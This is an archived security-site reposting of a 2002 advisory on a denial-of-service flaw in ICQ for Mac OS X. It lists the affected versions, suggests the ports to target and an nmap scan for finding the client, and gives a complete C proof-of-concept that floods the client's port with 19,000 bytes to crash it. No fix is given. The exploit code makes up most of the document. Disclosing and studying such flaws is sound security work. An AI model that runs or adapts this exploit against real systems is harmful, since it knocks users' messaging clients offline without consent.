Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Macintosh :: mac5067.htm

MacOS ICQ DoS



05th Feb 2002

COMMAND

	MacOS ICQ DoS

SYSTEMS AFFECTED
		
	ICQ MacOSX Ver 2.6x Beta Build 7 and others

PROBLEM

	Stephen posted :
	

	A DoS condition exists in ICQ for MacOS X, see exploit below.
	

	It seems that the OSX ICQ clients tend to bind to ports 49152 and  49159
	so youll probably want to use  those  for  default  attempts,  otherwise
	just nmap -p49100-49200 or something to find it.
	

	 Exploit

	 =======

	 

	/*

	 * OSX ICQ Dos. sa7ori@tasam.com

	 * Proof of concept. Worked on early versions of Licq. Now it apparently works

	 * for various versions of OSX ICQ clients.

	 * Tested and works on: ICQ MacOSX Ver 2.6x Beta Build 7

	 * and several others.

	 */

	

	#include <netdb.h>

	#include <netinet/in.h>

	#include <sys/types.h>

	#include <sys/socket.h>

	#include <stdio.h>

	#include <stdlib.h>

	#include <string.h>

	#include <errno.h>

	

	int main(int argc, char **argv){

	  char buf[19000]; int i, sock, result; struct sockaddr_in sin; struct hostent *gothost;

	  printf("So you wanna DoS ICQ...\n sa7ori@tasam.com\nBRAAAAAZIIIIIIIL\n");

	  if (argc < 3) {

	      fprintf(stderr, "Usage: %s <icqclient> <port>\njeez. get it right.\n", argv[0]);

	      exit(-1);

	    }

	  gothost = gethostbyname(argv[1]);

	  if (!gothost){

	      fprintf(stderr, "%s: Host resolv failed. Tard.\n", argv[1]);

	      exit(-1);

	    }

	  sin.sin_family = AF_INET; sin.sin_port = htons(atoi(argv[2]));

	  sin.sin_addr = *(struct in_addr *)gothost->h_addr; sock = socket(AF_INET, SOCK_STREAM, 0);

	  result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

	  if (result != 0) {

	      fprintf(stderr, "Connect Failed. reTard. %s\n", argv[1]);

	      exit(-1);

	    }

	  if (sock < 0){

	      fprintf(stderr, "Error in socket.");

	      exit(-1);

	    }

	  for (i=0; i<19000; i++) /* send loop shaboing boing boing */

	    strncat(buf, "A", 1);

	  send(sock, buf, sizeof(buf), 0);

	  close(sock);

	  fprintf(stdout, "ShinryuHadoken\n..And an angry flurry of As flies from your outstreached hand. heh.\n\n");

	}

	

	

SOLUTION
		
	None yet


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH